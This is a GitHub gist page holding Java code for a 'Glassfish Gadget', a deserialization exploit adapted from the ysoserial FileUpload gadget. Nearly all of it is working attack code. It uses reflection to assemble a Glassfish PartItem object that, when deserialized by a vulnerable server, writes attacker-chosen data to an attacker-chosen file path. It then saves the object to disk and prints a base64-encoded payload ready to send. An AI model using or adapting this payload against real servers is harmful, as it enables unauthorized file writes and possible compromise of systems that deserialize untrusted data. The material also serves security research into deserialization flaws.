Skip to content

Instantly share code, notes, and snippets.

@Frycos
Created February 2, 2020 19:02
Show Gist options
  • Save Frycos/7e673c1c56498282af6a44b4d2327656 to your computer and use it in GitHub Desktop.
Save Frycos/7e673c1c56498282af6a44b4d2327656 to your computer and use it in GitHub Desktop.
Glassfish Gadget
/*
* author: @frycos
* heavily inspired by ysoserial FileUpload gadget
*
* Don't forget needed imports:
* import org.apache.catalina.connector.Request,
* import org.apache.catalina.fileupload.Multipart,
* and e.g. import org.glassfish.grizzly.servlet.WebappContext
*
* only applicable for non-default classpaths (but seen "in the wild") including Glassfish's web-core.jar
*/
String repoPath = "C:\\Users\\Public\\Downloads";
String filePath = repoPath + "\\whatever";
String pwned = "PWNED";
byte[] data = pwned.getBytes();
int threshold = data.length + 1;
Class<?> partHeadersClass = Class.forName("org.apache.catalina.fileupload.PartHeaders");
Constructor<?> constrPHC = partHeadersClass.getDeclaredConstructor(null);
constrPHC.setAccessible(true);
Object partHeadersInstance = constrPHC.newInstance(null);
Class<?> partItemClass = Class.forName("org.apache.catalina.fileupload.PartItem");
Constructor<?> constructor = partItemClass.getDeclaredConstructor(Multipart.class, partHeadersClass,
String.class, String.class, boolean.class, String.class, String.class);
constructor.setAccessible(true);
Request req = new Request();
File ffile = new File("IDontCare");
Field svc = req.getClass().getDeclaredField("servletContext");
ServletContext sc = new WebappContext("IDontCare");
svc.setAccessible(true);
svc.set(req, sc);
Multipart mp = new Multipart(req, "test", 0, 0, 0);
// ------ BEGIN similar to ysoserial FileUpload Gadget but different ------
File repository = new File(repoPath);
Object partItem = constructor.newInstance(mp, partHeadersInstance, "test", "application/octet-stream", false,
"test", "UTF8");
Field fre = partItem.getClass().getDeclaredField("repository");
fre.setAccessible(true);
fre.set(partItem, repository);
File outputFile = new File(filePath);
// Kill unserializable multipart
Field fmp = partItem.getClass().getDeclaredField("multipart");
fmp.setAccessible(true);
fmp.set(partItem, null);
// Kill unserializable rb PropertyBundle
Field frb = partItem.getClass().getDeclaredField("rb");
frb.setAccessible(true);
frb.set(partItem, null);
Class<?> deferredFileOutputStream = Class.forName("org.apache.catalina.fileupload.DeferredFileOutputStream");
Constructor<?> dfosconstr = deferredFileOutputStream.getDeclaredConstructor(int.class, File.class);
dfosconstr.setAccessible(true);
Object dfos = dfosconstr.newInstance(threshold, outputFile);
Field fois = dfos.getClass().getDeclaredField("memoryOutputStream");
fois.setAccessible(true);
OutputStream ois = (OutputStream) fois.get(dfos);
ois.write(data);
Class<?> thresholdingoutputstream = Class.forName("org.apache.catalina.fileupload.ThresholdingOutputStream");
Field ftos = thresholdingoutputstream.getDeclaredField("written");
ftos.setAccessible(true);
ftos.set(dfos, data.length);
Field fdfos = partItem.getClass().getDeclaredField("dfos");
fdfos.setAccessible(true);
fdfos.set(partItem, dfos);
Field fst = partItem.getClass().getDeclaredField("sizeThreshold");
fst.setAccessible(true);
fst.set(partItem, 0);
// ------ END similar to ysoserial FileUpload Gadget but different ------
// Write our serialized object to disk
OutputStream os = new FileOutputStream("C:\\Users\\Public\\Downloads\\file.ser");
ObjectOutputStream oos = new ObjectOutputStream(os);
oos.writeObject(partItem);
System.out.println("Serialized file written...");
oos.close();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream boos = new ObjectOutputStream(bos);
boos.writeObject(partItem);
boos.flush();
System.out.println("Here is the base64 version:\n" + Base64.getUrlEncoder().encodeToString(bos.toByteArray())
+ " \n with length: " + bos.toByteArray().length);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment